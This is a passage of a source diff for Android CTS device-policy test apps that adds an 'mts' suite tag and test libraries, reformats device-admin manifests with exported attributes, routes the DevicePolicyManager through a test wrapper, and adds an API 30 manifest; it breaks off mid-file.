 android_test_helper_app {
     name: "CtsDeviceAdminApp23",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -35,6 +32,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -47,6 +45,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -60,6 +59,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api24/AndroidManifest.xml",
 }
@@ -72,6 +72,7 @@
     static_libs: [
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
+        "DpmWrapper",
     ],
     libs: [
         "android.test.runner",
@@ -83,6 +84,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api29/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
index 8e2fdc2..ecb9b7a 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/AndroidManifest.xml
@@ -15,38 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin23" >
+     package="com.android.cts.deviceadmin23">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="23"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="23"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin23"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin23"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
index 30bd6dc..d368801 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/AndroidManifest.xml
@@ -15,38 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin24" >
+     package="com.android.cts.deviceadmin24">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="24"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="24"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin24"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin24"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
index 326e61f..5af6d62 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api29/AndroidManifest.xml
@@ -15,38 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadmin29" >
+     package="com.android.cts.deviceadmin29">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="29"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadmin.BaseDeviceAdminTest$AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <receiver
-                android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
-                >
+        <receiver android:name="com.android.cts.deviceadmin.DeviceAdminReceiverWithNoProtection"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadmin29"
-            android:label="Device Admin CTS tests"/>
+         android:targetPackage="com.android.cts.deviceadmin29"
+         android:label="Device Admin CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
index 8ff6bf8..454f7bf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/src/com.android.cts.deviceadmin/BaseDeviceAdminTest.java
@@ -21,8 +21,12 @@
 import android.content.pm.PackageManager;
 import android.os.Build;
 import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 
 public class BaseDeviceAdminTest extends AndroidTestCase {
+    private static final String TAG = BaseDeviceAdminTest.class.getSimpleName();
 
     public static class AdminReceiver extends DeviceAdminReceiver {
     }
@@ -37,11 +41,13 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        dpm = mContext.getSystemService(DevicePolicyManager.class);
-        mPackageName = mContext.getPackageName();
+        dpm = TestAppSystemServiceFactory.getDevicePolicyManager(mContext, AdminReceiver.class);
+        int userId = mContext.getUserId();
+
         mAdminComponent = new ComponentName(mContext, AdminReceiver.class);
         mHasSecureLockScreen = mContext.getPackageManager()
                 .hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        Log.d(TAG, "setUp(): userId=" + userId + ", admin=" + mAdminComponent);
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
index c18b21b..a986c80 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceAdminService1",
     defaults: ["cts_defaults"],
@@ -31,6 +27,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package1/AndroidManifest.xml",
 }
@@ -50,6 +47,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package2/AndroidManifest.xml",
 }
@@ -69,6 +67,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package3/AndroidManifest.xml",
 }
@@ -88,6 +87,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "package4/AndroidManifest.xml",
 }
@@ -107,6 +107,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "packageb/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
index d2b4b0c..1bd9261 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
index c57eb8e..83afcee 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/AndroidManifest.xml
@@ -15,32 +15,30 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="false"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:exported="false"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
index 46a5fee..2801351 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/AndroidManifest.xml
@@ -15,31 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <service
-                android:name=".MyService"
-                android:exported="false">
+        <service android:name=".MyService"
+             android:exported="false">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
index 3a98de5..bea0cb7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/AndroidManifest.xml
@@ -15,37 +15,36 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminservice" >
+     package="com.android.cts.deviceadminservice">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name=".MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name=".MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <service
-                android:name=".MyService"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
-        <service
-                android:name=".MyService2"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name=".MyService2"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
index beb23a8..d21cea6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/AndroidManifest.xml
@@ -15,30 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.deviceadminserviceb" >
+     package="com.android.cts.deviceadminserviceb">
 
     <application android:testOnly="true">
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.deviceadminservice.MyOwner"
-                android:permission="android.permission.BIND_DEVICE_ADMIN"
-                >
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceadminservice.MyOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <service
-                android:name="com.android.cts.deviceadminservice.MyService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN" >
+        <service android:name="com.android.cts.deviceadminservice.MyService"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE" />
+                <action android:name="android.app.action.DEVICE_ADMIN_SERVICE"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.deviceadminservice" />
+         android:targetPackage="com.android.cts.deviceadminservice"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
index eaf7de4..9a0be5c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDeviceAndProfileOwnerApp23",
     defaults: ["cts_defaults"],
@@ -32,6 +28,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -39,6 +37,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api23/AndroidManifest.xml",
 }
@@ -59,6 +58,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -67,11 +68,43 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "api25/AndroidManifest.xml",
 }
 
 android_test_helper_app {
+    name: "CtsDeviceAndProfileOwnerApp30",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "cts-security-test-support-library",
+        "androidx.legacy_legacy-support-v4",
+        "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
+    ],
+    resource_dirs: ["res"],
+    asset_dirs: ["assets"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    manifest: "api30/AndroidManifest.xml",
+}
+
+android_test_helper_app {
     name: "CtsDeviceAndProfileOwnerApp",
     defaults: ["cts_defaults"],
     platform_apis: true,
@@ -87,6 +120,8 @@
         "cts-security-test-support-library",
         "androidx.legacy_legacy-support-v4",
         "cts-devicepolicy-suspensionchecker",
+        "devicepolicy-deviceside-common",
+        "ShortcutManagerTestUtils",
     ],
     resource_dirs: ["res"],
     asset_dirs: ["assets"],
@@ -95,6 +130,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "latest/AndroidManifest.xml",
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
index 9580f16..b6ebb20 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/AndroidManifest.xml
@@ -15,37 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="23"/>
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
 
-    <application
-        android:testOnly="true">
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests API 23"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests API 23"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
index 618284e..4010d31 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/AndroidManifest.xml
@@ -15,34 +15,33 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.deviceandprofileowner">
+     package="com.android.cts.deviceandprofileowner">
 
-    <uses-sdk android:minSdkVersion="23" android:targetSdkVersion="25"/>
-    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-sdk android:minSdkVersion="23"
+         android:targetSdkVersion="25"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
 
     <!-- Add a network security config that trusts user added CAs for tests -->
     <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN"
-            android:directBootAware="true">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:label="Profile and Device Owner CTS Tests"
-            android:targetPackage="com.android.cts.deviceandprofileowner">
-        <meta-data
-                android:name="listener"
-                android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
new file mode 100644
index 0000000..07d5bd0
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api30/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.deviceandprofileowner">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="30"/>
+
+    <application android:testOnly="true">
+
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceandprofileowner.BaseDeviceAdminTest$BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:directBootAware="true"
+             android:exported="true">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
+            </intent-filter>
+        </receiver>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Profile and Device Owner CTS Tests"
+         android:targetPackage="com.android.cts.deviceandprofileowner">
